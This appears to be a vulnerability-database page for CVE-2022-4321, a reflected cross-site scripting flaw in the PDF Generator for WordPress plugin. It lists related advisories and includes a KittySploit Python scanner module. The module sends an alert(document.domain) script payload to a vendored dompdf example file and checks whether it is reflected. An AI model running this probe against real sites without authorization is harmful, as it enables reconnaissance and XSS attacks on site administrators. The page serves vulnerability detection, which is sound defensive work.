PDF Generator for WordPress < 1.1.2 - Cross Site Scripting Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| WordPress PDF Generator dompdf XSS | 3 Nov 202300:00 | – | bdu_fstec | |
| WordPress plugin PDF Generator 跨站脚本漏洞 | 6 Feb 202300:00 | – | cnnvd | |
| CVE-2022-4321 | 6 Feb 202319:59 | – | cve | |
| CVE-2022-4321 PDF Generator for WordPress < 1.1.2 - Reflected XSS | 6 Feb 202319:59 | – | cvelist | |
| PDF Generator for WordPress < 1.1.2 - Cross Site Scripting | 16 Oct 202602:05 | – | nuclei | |
| CVE-2022-4321 | 6 Feb 202320:15 | – | nvd | |
| CVE-2022-4321 | 6 Feb 202320:15 | – | osv_cve | |
| WordPress PDF Generator for WordPress – Create & Customize PDF for Post, Pages and WooCommerce Products Plugin < 1.1.2 is vulnerable to Cross Site Scripting (XSS) | 16 Jan 202300:00 | – | patchstack | |
| Cross site scripting | 6 Feb 202320:15 | – | prion | |
| PT-2023-6704 · WordPress · Pdf Generator For Wordpress | 7 Jan 202300:00 | – | ptsecurity |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and ."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'PDF Generator for WordPress < 1.1.2 - Cross Site Scripting Detection',
'description': 'The plugin includes a vendored dompdf example file which is susceptible to Reflected Cross-Site Scripting and could be used against high privilege users such as admin',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2022', 'wpscan', 'wordpress', 'wp', 'wp-plugin', 'xss', 'pdf-generator-for-wp', 'wpswings', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/6ac1259c-86d9-428b-ba98-7f3d07910644',
'https://nvd.nist.gov/vuln/detail/CVE-2022-4321',
'https://wordpress.org/plugins/pdf-generator-for-wp/',
'https://github.com/ARPSyndicate/cvemon',
'https://github.com/kwalsh-rz/github-action-ecr-scan-test',
],
'cve': 'CVE-2022-4321',
}
def run(self):
r = self.http_request(method="GET", path='/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('><script>alert(document.domain)</script>', 'pdf-generator-for-wp', 'Total execution time is',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="PDF Generator for WordPress < 1.1.2 - Cross Site Scripting detected",
path='/wp-content/plugins/pdf-generator-for-wp/package/lib/dompdf/vendor/dompdf/dompdf/I18N/Arabic/Examples/Query.php?keyword="><script>alert(document.domain)</script>',
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
6.3Medium risk
Vulners AI Score6.3
CVSS 3.16.1
EPSS0.01193
SSVC